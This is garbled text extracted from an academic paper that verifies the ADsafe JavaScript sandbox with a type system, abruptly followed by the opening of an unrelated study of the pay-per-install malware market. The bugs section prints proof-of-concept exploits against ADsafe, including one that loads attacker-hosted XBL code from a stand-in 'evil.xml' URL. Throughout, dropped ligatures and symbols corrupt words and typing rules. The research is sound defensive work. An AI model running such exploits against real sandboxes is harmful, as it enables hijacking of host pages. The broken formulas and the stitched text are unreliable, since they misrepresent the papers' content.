tion that λJS enables, give us condence that our tools
correctly account for JavaScript.

Modeling the Browser DOM ADsafety claims that
window.eval is not applied. To validate this claim,
we mark eval with from section 5, which marks
banned elds. There are many eval-like function
in Web browsers, such as document.write; these are
also marked . Finally, certain functions, such as
setTimeout, behave like eval when given strings as ar-
guments. ADsafe does need to call these functions, but
it is careful to never call them with strings. In our type
environment, we give them restrictive types that disallow
string arguments.

Figure 5 species a fragment of the type of window,
which carefully species the type of unsafe functions in
the environment. The remaining safe DOM does not need
to be fully specied. adsafe.js only uses a small sub-
set of the DOM methods. These methods require types.
The browser environment is therefore modeled with 500
lines of object types (one eld per line). This type envi-
ronment is essentially the specication of foreign DOM
functions imported into JavaScript.

7 Verifying the Reference Monitor

In section 5, we discussed modeling the sublanguage of
widgets interacting with the sandboxing runtime. In the
case of ADsafe and JSLint, we built up the Widget type
as a specication of the kinds of values that the reference
monitor, adsafe.js, can expect at runtime. In this sec-
tion, we discuss how we use theWidget type to model the
boundary between reference monitor and widget code,

var dom = {
append:
function(bunch)
/*: [Widget ∪Global]Widget ×Widget · · · →Widget */
{ // body of append ... },

combine:
function(array)
/*: [Widget ∪Global]Widget ×Widget · · · →Widget */
{ // body of combine... },

q:
function (text)
/*: [Widget ∪Global]Widget ×Widget · · · →Widget */
{ // body of q... },

// ... more dom ...
};

Figure 6: Annotations on the dom object

and ensure that the runtime library correctly guards crit-
ical behavior.

The Widget type species the shape of widget values
that the ADsafe runtime manipulates. Widget is therefore
used pervasively in our verication of adsafe.js. For
example, consider a typical Bunch method:
Bunch.prototype.append = function(child) {
reject_global(this);
var elts = child.__nodes__;
. . .

return this;
}

The Bunch objects that ADsafe passes to the widget have
Bunch.prototype as their proto (see gure 4), making
these methods accessible. Their use in the widget is con-
strained only by JSLint, so we must type-check these
methods with (only) JSLint’s assumptions in mind.

For example, we might assume that the child argu-
ment above should be a Bunch, the implicit this argu-
ment should also be a Bunch, and it therefore returns a
Bunch. However, JSLint does not provide such strong
guarantees. Consider this example, which passes JSLint:
var func = someBunch.append;
func(900, true, "junk", -7);

Here, this is bound to window, child is a number, and
there are additional arguments. Therefore, we cannot as-
sume that append has the type [Bunch]Bunch → Bunch.
Instead, the most precise type we can ascribe is:

[Widget ∪ Global]Widget · · · → Widget

That is, this could be Widget-typed or the type of the
global object, Global, and the other arguments may have
any subtype of Widget, which includes strings, num-
bers, and other non-Bunch types. The runtime check
in append’s body (namely, reject_global(this)) is re-
sponsible for checking that this is not the global object
before manipulating it. Our type checker recognizes such

7
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checks and narrows the broader type to Widget after ap-
propriate runtime checks are applied (section 7.1). If
such checks were missing, the type of this would re-
main Widget ∪ Global, and return this would signal a
type error because Widget∪Global is not a subtype of the
stated return type Widget.

Ascribing types to functions provided by the ADsafe
runtime is therefore trivial. We give all the same type:

[Widget ∪ Global]Widget · · · → Widget

The type checker we extend is not ADsafe-specic, and
requires explicit type annotations. However, since all the
annotations are identical, they are trivial to insert. Fig-
ure 6 shows a small excerpt of such annotations, which
the checker reads from comments, so programs can run
unaltered in the browser.

Types for Private Functions ADsafe also has a num-
ber of private functions, which are not exposed to the
widget. These functions have types with capabilities the
widget does not have access to, such as HTML. For ex-
ample, ADsafe species a hunter object, which con-
tains functions that traverse the DOM and accumulate ar-
rays of DOM nodes. These functions all have the type
HTML → Undef, and add to an array result that has
type Array�HTML�. ADsafe can freely use these capa-
bilities inside the library as long as it doesn’t hand them
over to the widget. Our annotations show that it doesn’t,
because these types are not compatible with Widget.

7.1 Type System Highlights
In section 5 and 6, we presented types for safe objects
and for values in the browser environment. We build
upon earlier work on type systems that has been ap-
plied to JavaScript [18]. In this section, we present the
non-standard portions of our type system that we use for
typing operations on objects, sensitive conditionals, and
some idiosyncrasies of JSLint and adsafe.js.

Object Properties and String Set Types In
JavaScript, object properties (or “elds”) are merely
string indices: even o.x is just an alias for o["x"].
In addition, these strings can be computed and ow
through the program before they are used to look
up elds. Sandboxes thus deal with whitelists and
blacklists of property names. To model this, we enrich
the type language with sets of strings. For example,
("___nodes___", "__proto__")− is the type of all
strings except "___nodes___" and "__proto__", and
("x", "foo")+ is the type of exactly "x" and "foo".

Figure 7 shows typing rules and operations for string
sets. Sets support combination via unions, subtyping via

T-STRINGSET

Σ;Γ � str : (str)+

ST-STRINGSET+

∀f ∈ (f1, . . .), f ∈ (s1, . . .)

(f1, . . .)
+ <: (s1, . . .)

+

ST-STRINGSET−

∀f ∈ (f1, . . .), f �∈ (s1, . . .)

(f1, . . .)
+ <: (s1, . . .)

−

ST-STRING+

(f1, . . .)
+ <: Str

ST-STRING−

(f1, . . .)
− <: Str

EQUIV-STR
Str <: ()−

Figure 7: Typing and operations on string set types

adding new strings, and subtyping of positive and nega-
tive sets. Both kinds of string sets can also be promoted
to the common supertype of Str, which is equivalent to
the negative string set with no entries.

Equipped with string sets, we can describe the typing
of object property dereference. When the property name
is a string set, we union the types of the properties that
are members of the string set, paying careful attention to
absent elds and prototype lookup. Figure 8 shows the
rule T-LOOKUP, with examples shown in gure 9.

String sets allow the type checker to avoid certain
named properties, as in the last example of gure 9,
where the "eval" property has the bad type but the
string set type of the index excludes "eval". The rule
for property update (not shown here) is similar but sim-
pler, as property update in JavaScript does not recur in-
side prototypes, and only operates on the property names
of the top-level object.

If-Splitting A reference monitor has various runtime
checks to ensure that protected objects—DOM objects
and browser functions in ADsafe’s case—are only ma-
nipulated in safe and well-dened ways. For example,
when setTimeout’s rst argument is a string, rather than
a function, it exhibits eval-like behavior, which violates
ADsafety’s constraints. Thus we instead give it the type

(Widget→ Widget)×Widget → Num

Doing so forces the rst argument to be a function and,
in particular, not a string. Now consider its use:
later: function (func, timeout)
/*: Widget×Widget→Widget */ {
if (typeof func === "function") {
setTimeout(func, timeout || 0);

} else { error(); }
}

Because ADSAFE.later is exported to widgets, it can
only assume the Widget type for its arguments, including

8
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{�} is shorthand for {� : F�, proto : Tp, code : Tc, f1 : F1, . . .}

(f1, . . .)
+ − (s1, . . .)

+ = ∀fi �∈ (s1, . . .), (fi, . . .)
+

(f1, . . .)− − (s1, . . .)+ = (f1, . . . , s1, . . .)−
f ∈ (f1, . . .)

+ : ∃f1.f = f1
f ∈ (f1, . . .)− : ∀f1.f �= f1

�({�}, S) =

⎧
⎨
⎩

F� :
S� �= ∅ and
F� �= Absent

⊥ : otherwise
where S� = S − (f1, . . .)

+

p({�}, S) =

⎧
⎨
⎩

Undef : Tp = Null
fields(Tp, Sp) : Sp �= ∅

⊥ : otherwise
where Sp = S − (fi | Fi �= Absent)+

({�}, S) = {Ti | fi ∈ S and Fi = Ti} ∪ �({�}, S) ∪ p({�}, S)
(T1 ∪ T2, S) = (T1, S) ∪ (T2, S)
(T, ∅) = ⊥

Σ;Γ � eo : To Σ;Γ � ef : S S <: Str Tres = (To, S)

Γ � eo[ef] : Tres

(T-LOOKUP)

Figure 8: Typing object lookup

Object Type To String Type S (To, S)

{ : Null, � : Bool, "x" : Num} ("x")+ Num
{ : Null, � : Bool, "x" : Num} ("x", "y")+ Num ∪ Bool ∪ Undef

{ : Object, � : Num} ("toString")+ Num∪ → Str
{ : Object, � : Num, "toString" : Absent} ("toString")+ → Str

{ : Null, � : Str, "x" : Num, "y" : Bool, "eval" : } ("eval")− Str ∪ Num ∪ Bool ∪ Undef
{ : Null, � : Str, "x" : Num, "y" : Bool, "eval" : } ("eval")+ untypable

Figure 9: Examples of property lookup using 

func. A traditional type checker would thus conclude
that func has type Widget everywhere in later. Because
Widget includes Str, the invocation of setTimeout would
yield a type error—even though this is precisely what the
conditional in later is avoiding!
 is the name for a collection of techniques

that address this problem [39]. Our particular solution
uses a renement of this idea, called ow typing [18],
which complements type-checking with ow analysis.
The analysis informs the type checker that due to the
typeof check, uses of func in the then-branch of the
conditional can in fact be  from the large Wid-
get type of Str ∪ Num ∪ . . . to the function type that
setTimeout requires.

7.2 Required Refactorings
Our type system cannot type check the ADsafe runtime
as-is; we need to make some simple refactorings. The

need for these refactorings does not reect a weakness
in ADsafe. Rather, they are programming patterns that
we cannot verify with our type system. To gain con-
dence that we didn’t change ADsafe’s behavior, we run
ADsafe’s sample widgets against our refactored version
of ADsafe, and they behave as expected. We describe
these refactorings below:

Additional reject_name Checks ADsafe uses
reject_name to check accesses and updates to object
properties in adsafe.js. If-splitting uses these checks
to narrow string set types and type-check object property
references. However, ADsafe does not use reject_name

in every case. For example, it uses a regular expression
to parse DOM queries, and uses the result to look up
object properties. Because our type system makes
conservative assumptions about regular expressions, it
would erroneously indicate that a blacklisted eld may
be accessed. Thus, we add calls to reject_name so the

9
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type system can prove that the accesses and assignments
are safe.

Inlined reject_global Checks Most Bunch methods
start by asserting reject_global(this), which ensures
that this is Widget-typed in the rest of the method.
Our type system cannot account for such non-local side-
effects, but once we inline reject_global, if-splitting
is able to rene types appropriately (for instance, in the
Bunch.prototype.append example early in this section).

makeableTagName ADsafe’s whitelist of safe DOM ele-
ments is dened as a dictionary:
var makeableTagName =
{ "div": true, "p": true, "b": true, . . . };

This dictionary omits an entry for "script". The
document.createElement DOM method creates new
nodes. We ensure that <script> tags are not created by
typing it as follows:

document.createElement : ("script")− → HTML

ADsafe uses its tag whitelist before calling
document.createElement:
if (makeableTagName[tagName] === true) {
document.createElement(tagName);

}

Our type checker cannot account for this check. We in-
stead refactor the whitelist (a trick noted elsewhere [29]):
var makeableTagName =
{ "div": "div", "p": "p", "b": "b", . . . };

The type of these strings are ("div")+, ("p")+,("b")+,
etc., so that makeableTagName[tagName] has type
("div", "p", "b", . . .)+. Since this nite set of strings
excludes "script", it now matches the argument type
of createElement.

7.3 Cheating and Unveriable Code
A complex body of code like the ADsafe runtime cannot
be type-checked from scratch in one sitting. We there-
fore found it convenient to augment the type system with
a cheat construct that ascribes a given type to an ex-
pression without descending into it. We could thus use
cheat when we encountered an uninteresting type error
and wanted to make progress. Our goal, of course, was
to ultimately remove every cheat from the program.

We were unable to remove two cheats, leaving eleven
unveried source lines in the 1,800 LOC ADsafe run-
time. We can, in fact, ascribe interesting types to these
functions, but checking them is beyond the power of our
type system. The details may not be of interest to the
general reader, but the web content contains the full body
of unveried code and a discussion of its types.

8 ADsafety Redux

Sections 5 and 7 gave the details of our strategy for mod-
eling JSLint and verifying adsafe.js. In this section,
we combine these results and relate it to the original def-
inition of ADsafety (denition 1). The use of a type sys-
tem allows us to make straightforward, type-based argu-
ments of safety for the components of ADsafe.

The lemmas below formally reason about type-
checked widgets. Claim 1 (section 5.2) establishes that
linted widgets are in fact typable. Therefore, we do not
need to type-check widgets. Widget programmers can
continue to use JSLint and do not need to know about
our type checker. However, given the benets of unifor-
mity provided by a type checker over ad hoc methods
like JSLint (section 9 details one exploit that resulted
from such an ad hoc approach), programmers may be
well served to use our type checker instead.

Type Soundness Most type systems come with a
soundness theorem that is stated as progress (well-typed
programs do not error) and preservation (well-typed pro-
grams do not violate their types).

We do not attempt to establish progress. Establishing
it would require many more refactorings in the ADsafe
runtime, and many lintable widgets would be untypable.
Because runtime errors are perfectly acceptable (they
halt execution before something bad happens), we re-
lax some of the typing rules in an existing type sys-
tem [18]—which does exhibit progress—to instead allow
some JavaScript errors (e.g., applying non-function val-
ues or looking up elds of null). We do still need an “un-
typed progress” theorem that states that our JavaScript
semantics fully models all error cases. This theorem is
provided by Guha, et al. [17].

We restate and prove preservation for the extensions
to Guha et al.’s type system, which is applicable to all
JavaScript programs.7 Stated formally:

Lemma 1 (Type Preservation) If, for an expression e,
type T , environment Γ and abstract heap Σ,
1. Σ � σ,
2. Σ;Γ � e : T , and
3. σe → σ�e�;

then there exists a Σ� with Σ� � σ� and Σ�; Γ � e� : T .

Our assumed environment (section 6) provides the ab-
stract heap Σ and abstract environment Γ, which model
the initial state of the browser, σ. Given this lemma, we
can make type-based statements about the combination
of widgets and adsafe.js:

7For the formal proof, see Guha et al. [18] and the supplemental
material on the web.
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Theorem 1 (ADsafety) For all widgets p, if
1. all subexpressions of p areWidget-typable,
2. adsafe.js is typable,
3. adsafe.js runs before p, and
4. σp → σ′p′ (single-step reduction),

then at every step p′, p′ also has the typeWidget.

This theorem says that for all widgets p whose subex-
pressions are Widget-typed, if adsafe.js type-checks
and runs in the browser environment, p can take any
number of steps and still have the Widget type. Since
types are preserved, two further key lemmas hold during
execution:

Lemma 2 (Widgets cannot load new code at runtime)
For all widgets e, if all variables and sub-expressions of
e areWidget-typed, then e does not load new code.

By section 6, eval-like functions are -typed, hence
cannot be referenced by widgets or by the ADsafe run-
time. Furthermore, functions that only eval when given
strings, such as setTimeout, have restricted types that
disallow string-typed arguments. Therefore, neither the
widget nor the ADsafe runtime can load new code. �

Lemma 3 (Widgets do not obtain DOM references)
For all widgets e, if all variables and sub-expressions of
e are Widget-typed, then e does not obtain direct DOM
references.

The type of DOM objects is not subsumed by the Widget
type. All functions in the ADsafe runtime have the type:

[Widget ∪ Global]Widget · · · → Widget

Thus, functions in the ADsafe runtime do not leak DOM
references, as long as they are only applied to Widget-
typed values. Since all subexpressions of the widget e
are Widget-typed, all values that e passes to the ADsafe
runtime are Widget-typed. By the same argument, e can-
not directly manipulate DOM references either. �

Widgets can only manipulate their DOM subtree
We cannot prove this claim with our tools. JSLint
enforces this property by also verifying the static
HTML of widgets; it ensures that all element IDs
are prexed with the widget’s ID. The wrapper for
document.getElementById ensures that the widget ID
is a prex of the element ID. Verifying JSLint’s HTML
checks is beyond the scope of this work.

In addition, the wrapper for Element.parentNode

checks to see if the current element is the root of the wid-
get’s DOM subtree. It is not clear if our type checker can
express this property without further extensions.

ADSAFE.go("AD_", function (dom, lib) {
var myWindow, fakeNode, fakeBunch, realBunch;

fakeNode = {
appendChild: function(elt) {

myWindow = elt.ownerDocument.defaultView;
},
tagName: "div",
value: null

};

fakeBunch = {"___nodes___": [fakeNode]};

realBunch = dom.tag("p");
fakeBunch.value = realBunch.value;
fakeBunch.value(""); // calls phony appendChild

myWindow.alert("hacked");
});

Figure 10: Exploiting JSLint

Widgets cannot communicate This claim is false;
section 9 presents a counterexample.

9 Bugs Found in ADsafe

We have implemented the type system presented in this
paper, and applied it to the ADsafe source. The imple-
mentation is about 3,000 LOC, and takes 20 seconds to
check adsafe.js (mainly due to the presence of recur-
sive types). In some cases, type-checking failed due to
the weakness of the type checker; these issues are dis-
cussed in section 7.2. The other failures, however, rep-
resent genuine errors in ADsafe that were present in the
production system. The same applies to instances where
JSLint and our typed model of it failed to conform. All
the errors listed below have been reported, acknowledged
by the author, and xed.

Missing Static Checks JSLint inadvertently allowed
widgets to include underscores in quoted eld names. In
particular, the following expression was deemed safe:
fakeBunch = { "__nodes__": [ fakeNode ] };

A malicious widget could then create an object with an
appendChild method, and trick the ADsafe runtime into
invoking it with a direct reference to an HTML element,
which is enough to obtain window and violate ADsafety:

fakeNode = {
appendChild: function(elt) {
myWindow = elt.ownerDocument.defaultView;

}
};

The full exploit is in gure 10.
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ADSAFE.go("AD_", function (dom, lib) {
var called = false;
var obj = {
"toString": function() {
if (called) {
return "url(evil.xml#exp)";

}
else {
called = true;
return "dummy";

}
}

};
dom.append(dom.tag("div"));
dom.q("div").style("MozBinding", o);

});

<!-- evil.xml -->
<?xml version="1.0"?>
<bindings><binding id="exp">
<implementation><constructor>
document.write("hacked")
</constructor></implementation>
</binding></bindings>

Figure 11: Firefox-specic Exploit for ADsafe

This bug manifested as a discrepancy between our
model of JSLint as a type checker and the real JSLint.
Recall from section 5 that all expressions in widgets
must have type Widget (dened in gure 4). For
{ "__nodes__": [fakeNode] } to type as Widget, the
"__nodes__" eld must have type Array�HTML�∪Undef.
However, [fakeNode] has typeWidget, which signals the
error.

JSLint similarly allowed "__proto__" and other elds
to appear in widgets. We did not investigate whether they
can be exploited as above, but setting them causes unan-
ticipated behavior. Fixing JSLint was simple once our
type checker found the error. (An alternative solution
would be to use our type system as a replacement for
JSLint.) We note that when the ADsafe option of JSLint
was rst announced,8 its author offered:

If [a malicious client] produces no errors when
linted with the ADsafe option, then I will buy
you a plate of shrimp.

After this error report, he conrmed, “I do believe that I
owe you a plate of shrimp”.

Missing Runtime Checks Many functions
in adsafe.js incorrectly assumed that they
were applied to primitive strings. For example,
Bunch.prototype.style began with the following

8tech.groups.yahoo.com/group/caplet/message/
44

check, to ensure that widgets do not programmatically
load external resources via CSS:
Bunch.prototype.style = function(name, value) {
if (/url/i.test(value)) { // regex match?
error();

}
...

};

Thus, the following widget code would signal an error:
someBunch.style("background",
"url(http://evil.com/image.jpg)");

The bug is that if value is an object instead of a
string, the regular-expression test method will invoke
value.toString().

A malicious widget can construct an object with a
stateful toString method that passes the test when rst
applied, and subsequently returns a malicious URL. In
Firefox, we can use such an object to load an XBL re-
source9 that contains arbitrary JavaScript (gure 11).

We ascribe types to JavaScript’s built-ins to prevent
implicit type conversions. Therefore, we require the ar-
gument of Regexp.test to have type Str. However, since
Bunch.prototype.style can be invoked by widgets, its
type is Widget×Widget → Widget, and thus the type of
value is Widget.

This bug was xed by adding a new string_check

function to ADsafe, which is now called in 18 functions.
All these functions are not otherwise exploitable, but a
missing check would cause unexpected behavior. The
xed code is typable.

Counterexamples to Non-Interference Finally, a
type error in Bunch.prototype.getStyle helped us gen-
erate a counterexample to ADsafe’s claim of widget non-
interference (denition 1, part 4). The getStyle method
is available to widgets, so its type must be Widget →
Widget. The following code is the essence of getStyle:
Bunch.prototype.getStyle = function (name) {
var sty;
reject_global(this);
sty = window.getComputedStyle(this.__node__);
return sty[name];

}

The bug above is that name is unchecked, so it may index
arbitrary elds, such as __proto__:
someBunch.getStyle("__proto__");

This gives the widget a reference to the prototype of the
browser’s CSSStyleDeclaration objects. Thus the re-
turn type of the body is not Widget, yielding a type error.

A widget cannot exploit this bug in isolation. How-
ever, it can replace built-in methods of CSS style objects

9https://developer.mozilla.org/en/XBL
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and interfere with the operation of the hosting page and
other widgets that manipulate styles in JavaScript.

This bug was xed by adding a reject_name check
that is now used in this and other methods. Despite
the x, ADsafe still cannot enforce non-interference,
since widgets can reference and affect properties of other
shared built-ins:
var arr = [ ];
arr.concat.channel = "shared data";

The author of ADsafe pointed out the above example and
retracted the claim of non-interference.

Prior Exploits Before and during our implementation,
other exploits were found in ADsafe and reported [27–
29]. We have run our type checker on the exploitable
code, and our tools catch the bugs and report type errors.

Fixing Bugs and Tolerating Changes Each of our bug
reports resulted in several changes to the source, which
we tracked. In addition to these changes, adsafe.js
also underwent non-security related refactorings during
the course of this work. Despite not providing its author
our type checker, we were easily able to continue type-
checking the code after these changes. One change in-
volved adding a number of new Bunch methods to extend
the API. Keeping up-to-date was a simple task, since all
the new Bunch methods could be quickly annotated with
the Widget type and checked. In short, our type checker
has shown robustness in the face of program edits.

10 Beyond ADsafe

Our security type system is capable of verifying useful
properties about JavaScript programs in general. Sec-
tions 5, 6, and 7 present carefully crafted types that we
ascribe to the browser API and adsafe.js, and use to
model widget programs. Proving these types hold over
the ADsafe runtime library and JSLint-ed widgets guar-
antees robust sandboxing properties for ADsafe.

Verications for other sandboxes would require the de-
sign of new types, to accurately model checked, rewritten
programs and their interface to the sandbox, but not nec-
essarily a new type system. Indeed, our type-based strat-
egy provides a concrete roadmap for sandbox designers:

1. Formally specify the language of widgets using a
type system;

2. use this specication to dene the interface between
the sandbox and untrusted code; and,

3. check that the body of the sandbox adheres to this
interface by type-checking.

In particular, developers of new sandboxes should be
aware of this strategy. Rather than trying to retrot the

type system’s features onto existing static checks, the
sandbox designer can work with the type system to guar-
antee safety constructively from the start. Tweaks and
extensions to the type system are certainly possible—for
example, one may want to design a sandboxing frame-
work that forbids applying non-function values and look-
ing up elds of null, which the current type system al-
lows (section 8).

ADsafe shares many programming patterns with other
Web sandboxes (section 3), but doesn’t cover the full
range of their features. We outline some of the exten-
sions that could be used to verify them here:

Reasoning About Strings Our type system lets pro-
grammers reason about nite sets of strings and use these
sets to lookup elds in objects. To verify Caja, we would
need to reason about string patterns. For example, Caja
uses the eld named "foo"+ "_w__" to store a ag that
determines if the eld "foo" is writable.

Abstracting Runtime Tests Our type system accounts
for inlined runtime checks, but requires some refactor-
ings when these checks are abstracted into predicates.
Larger sandboxes, like Caja, have more predicates, so
refactoring them all would be infeasible. We could in-
stead use ideas from occurrence typing [39], which ac-
counts for user-dened predicates.

Modeling the Browser Environment ADsafe wraps a
small subset of the DOM API and we manually check that
this subset is appropriately typed in the initial type envi-
ronment. This approach does not scale to a sandbox that
wraps more of the DOM. If the type environment were
instead derived from the C++ DOM implementation, we
would have signicantly greater condence in our envi-
ronmental assumptions.

11 Related Work

Verifying JavaScript Web Sandboxes ADsafe [9],
BrowserShield [35], Caja [33], and FBJS [13] are
archetypal Web sandboxes that use static and dynamic
checks to safely host untrusted widgets. However, the se-
mantics of JavaScript and the browser environment con-
spire to make JavaScript sandboxing difcult [17, 26].

Maffeis et al. [27] use their JavaScript semantics to
develop a miniature sandboxing system and prove it cor-
rect. Armed with the insight gained by their semantics
and proofs, they nd bugs in FBJS and ADsafe (which
we also catch). However, they do not mechanically ver-
ify the JavaScript code in these sandboxes. They also for-
malize capability safety and prove that a Caja-like sub-
set is capability safe [30]. However, they do not verify
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the Caja runtime or the actual Caja subset. In contrast,
we verify the source code of the ADsafe runtime and ac-
count for ADsafe’s static checks.

Taly, et al. [38] develop a ow analysis to nd bugs
in the ADsafe runtime (that we also catch). They sim-
plify the analysis by modeling ECMAScript 5 strict
mode, which is not fully implemented in any current Web
browser. In contrast, ADsafe is designed to run on cur-
rent browsers, and thus supports older and more permis-
sive versions of JavaScript. We use the semantics and
tools of Guha, et al. [17], which does not limit itself to
the strict mode, so we nd new bugs in the ADsafe run-
time. In addition, Taly, et al. use a simplied model of
JSLint. In contrast, we provide a detailed, type-theoretic
account of JSLint, and also test it. We can thus nd se-
curity bugs in JSLint as well.

Lightweight Self-Protecting JavaScript [31, 34] is a
unique sandbox that does not transform or validate wid-
gets. It instead solely uses reference monitors to wrap
capabilities. These are modeled as security automata,
but the model ignores the semantics of JavaScript. In
contrast, this paper and the aforementioned works are
founded on detailed JavaScript semantics.

Yu, et al. [40] use JavaScript sandboxing techniques
to enforce various security policies on untrusted code.
Their semantic model, CoreScript, simplies the DOM
and scripting language. CoreScript cannot be used to
mechanically verify the JavaScript implementation of a
Web sandbox, which is what we present in this paper.

Modeling the Web Browser There are formal mod-
els of Web browsers that are tailored to model whole-
browser security properties [1, 6]. These do not model
JavaScript’s semantics in any detail and are therefore or-
thogonal to semantic models of JavaScript [17, 26] that
are used to reason about language-based Web sandboxes.
In particular, ADsafe’s stated security goals are lim-
ited to statements about JavaScript and the DOM (sec-
tion 4). Therefore, we do not require a comprehensive
Web-browser model.

Static Analysis of JavaScript GateKeeper [15] uses a
combination of program analysis and runtime checks to
apply and verify security policies on JavaScript widgets.
GateKeeper’s program analysis is designed to model
more complex properties of untrusted code than we ad-
dress by modeling JSLint. However, the soundness of its
static analysis is proven relative to only a restricted sub-
language of JavaScript, whereas λJS handles the full lan-
guage. In addition, they do not demonstrate the validity
of their run-time checks.

Chugh et al. [8] and VEX [5] use program analy-
sis to detect possibly malicious information ows in
JavaScript. Our type system cannot specify information

ows, although we do use it to discover that ADsafe fails
to enforce a desirable information ow property. VEX’s
authors acknowledge that it is unsound, and Chugh et al.
do not provide a proof of soundness for their ow analy-
sis. Our type system and analysis are proven sound.

Other static analyses for JavaScript [16, 21, 22] are not
specically designed to encode and check security.

Type Systems Our type checker is based on that of
Guha, et al. [18]. Theirs has a restrictive type system for
objects that we fully replace to type check ADsafe. We
also add simple extensions to their   system
to account for additional kinds of runtime checks em-
ployed by ADsafe. Their paper surveys other JavaScript
type systems [2, 19] that can type-check other patterns
but have not been used to verify security-critical code,
which is the goal of this paper. Our treatment of ob-
jects is also derived from ML-ART [36], but accounts
for JavaScript features and patterns such as function ob-
jects, prototypes, and objects as dictionaries.

Language-Based Security Schneider et al. [37] sur-
vey the design and type-based verication of language-
based security systems. JavaScript Web sandboxes are
inlined reference monitors [12]. Guha, et al. [17] offer a
type-based strategy to verify these, but their approach—
which depends on building a custom type rule around
each check in the reference monitor—does not scale to
a program of the size of ADsafe. Furthermore, their
custom rules essentially hand-code if-splitting, which we
obtain directly from the underlying type system.

Cappos, et al. [7] present a layered approach to build-
ing language sandboxes that prevents bugs in higher lay-
ers from breaking the abstractions and assurances pro-
vided by lower layers. They use this approach to build a
new sandbox for Python, whereas we verify an existing,
third-party JavaScript sandbox. However, our verica-
tion techniques could easily be used from the onset to
build a new sandbox that is secure by construction.

IFrames IFrames are widely used for widget isola-
tion. However, JavaScript that runs in an IFrame can still
open windows, communicate with servers, and perform
other operations that a Web sandbox disallows. Further-
more, inter-frame communication is difcult when de-
sired; there are proposals to enhance IFrames to make
communication easier and more secure [20]. Language-
based sandboxing is somewhat orthogonal in scope, is
more exible, and does not require changes to browsers.

Runtime Security Analysis of JavaScript There are
various means to secure widgets that do not employ
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language-based security. Some systems rely on mod-
ied browsers, additional client software, or proxy
servers [10, 11, 23–25, 32, 40]. Some of these propose al-
ternative Web programming APIs that are designed to be
secure. Language-based sandboxing has the advantage
of working with today’s browsers and deployment meth-
ods, but our verication ideas could potentially apply to
the design of some of these systems, too.
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Abstract
Recent years have seen extensive diversification of the

“underground economy” associated with malware and the
subversion of Internet-connected systems. This trend to-
wards specialization has compelling forces driving it: mis-
creants readily apprehend that tackling the entire value-chain
from malware creation to monetization in the presence of
ever-evolving countermeasures poses a daunting task requir-
ing highly developed skills and resources. As a result,
entrepreneurial-minded miscreants have formed pay-per-install
(PPI) services—specialized organizations that focus on the in-
fection of victims’ systems.

In this work we perform a measurement study of the PPI
market by infiltrating four PPI services. We develop infrastruc-
ture that enables us to interact with PPI services and gather and
classify the resulting malware executables distributed by the
services. Using our infrastructure, we harvested over a million
client executables using vantage points spread across 15 coun-
tries. We find that of the world’s top 20 most prevalent fami-
lies of malware, 12 employ PPI services to buy infections. In
addition we analyze the targeting of specific countries by PPI
clients, the repacking of executables to evade detection, and the
duration of malware distribution.

1 Introduction

Recent years have seen extensive diversification of the
“underground economy” associated with malware and
the subversion of Internet-connected systems. This trend
towards specialization has compelling forces driving it:
miscreants readily apprehend that tackling the entire
value-chain from malware creation to monetization in
the presence of ever-evolving countermeasures poses a
daunting task requiring highly developed skills and re-
sources. As a result, market forces foster a service cul-
ture that has brought about a wide range of specialized
providers for all stages in the malware-monetization life-

cycle, such as malware toolkits [3, 15], packing tools to
evade antivirus (AV) software [21], “bullet-proof” host-
ing [4], and forums for buying and selling ill-gotten
gains [10].

At the heart of this ecosystem lies the infection of vic-
tim computers. Virtually every enterprise in this market
ultimately hinges on access to compromised systems. To
meet the demands for wholesale infection of Internet sys-
tems, a service called pay-per-install (PPI) has risen to
predominance. Such PPI services play a key role in the
modern malware marketplace by providing a means for
miscreants to outsource the global dissemination of their
malware. Miscreants simply determine the raw number
of victim systems (including specific geographical distri-
bution, if desired) that fits within their budget, supply a
PPI service with payment and malware executables of the
miscreants’ choice, and in short order their malware is in-
stalled on thousands of new systems. In today’s market,
the entire process costs pennies per target host—cheap
enough for botmasters to simply rebuild their ranks from
scratch in the face of defenders launching extensive, en-
ergetic, take-down efforts [6].

In this work we perform a measurement study of the
PPI market by infiltrating four PPI services. We develop
infrastructure that enables us to (1) interact with PPI ser-
vices by mimicking the protocol interactions they ex-
pect to receive from affiliates with whom they have con-
tracted, and (2) gather and classify the resulting malware
executables as distributed by the PPI services. We report
results of infiltrations we conducted in the six months
between August 2010 and February 2011.

To our knowledge, our work reflects the first system-
atic study of the PPI ecosystem as seen from the perspec-
tive of the downloads pushed out by PPI services down
to their victims. Security analysts have previously exam-
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ined PPI services in a top-down manner, by becoming
affiliates of particular services [7, 29]. Our study is in-
stead based on infiltrating PPI services in a bottom-up
manner, by creating custom programs that can continu-
ously download malware specimens that the PPI services
distribute, enabling us to track the infiltrated PPI services
over time.

We harvested over a million client executables us-
ing vantage points spread across 15 countries. The
month of August 2010 yielded 57 malware families, in-
cluding many of the most prevalent infections at the
time. They include spam bots (Rustock, Grum), fake
antivirus (Securitysuite, Securityessential), information-
stealing trojans (Zbot, Spyeye), rootkits (Tdss), DDoS
bots (Russkill, Canahom), clickers (Gleishug), and ad-
ware (SmartAdsSolutions).

Using our geo-diverse vantage points, we measure dif-
ferences in the geographical preferences of the different
malware families. We identify families that exclusively
target the US, the UK, and a variety of European coun-
tries. We also analyze the rate at which malware authors
repack their wares to evade hash-based signatures. On
average, they repack specimens every 11 days, and some
malware families repack up to twice daily. We track the
dynamics of campaigns during which a service dissem-
inates a given malware family in an ongoing push, ob-
serving a wide temporal range, from specimens that are
continually distributed over weeks, to pointwise efforts
lasting only a few hours. We also analyze the particulars
of how different PPI services interact with their affili-
ates, including surprising evidence suggesting that some
affiliates who sell installs to a particular PPI service not
only buy installs from rival PPI services, but also from
the very service to which they sell installs—apparently
to exploit arbitrage.

2 An Overview of Pay-Per-Install

The PPI market, as depicted in Figure 1, consists of three
main actors: clients, PPI providers (or services), and
affiliates. We begin with an overview of these actors,
followed by discussion of the transactions they perform
(Section 2.1) and the means and importance of evading
detection (Section 2.2).

Clients are entities that want to install programs onto a
number of target hosts. They wish to buy installs of their
programs. The PPI provider receives money from clients
for the service of installing their programs onto the target
hosts, where installation comprises distributing the pro-

Figure 1: The typical transactions in the PPI market. PPI
clients provide software they want to have installed, and
pay a PPI service to distribute the software (�). The PPI
service conducts downloader infections itself or employs
affiliates that install the PPI’s downloader on victim ma-
chines(�). The PPI service pushes out the client’s exe-
cutables (�). Affiliates receive commission for any suc-
cessful installations they facilitated (�).

grams to the target hosts, executing the client programs,
and tracking successful executions for accounting.

The PPI provider develops a program, called a down-
loader, that retrieves and runs client’s executables upon
installation. The PPI provider may conduct the instal-
lation of the downloader itself or may outsource distri-
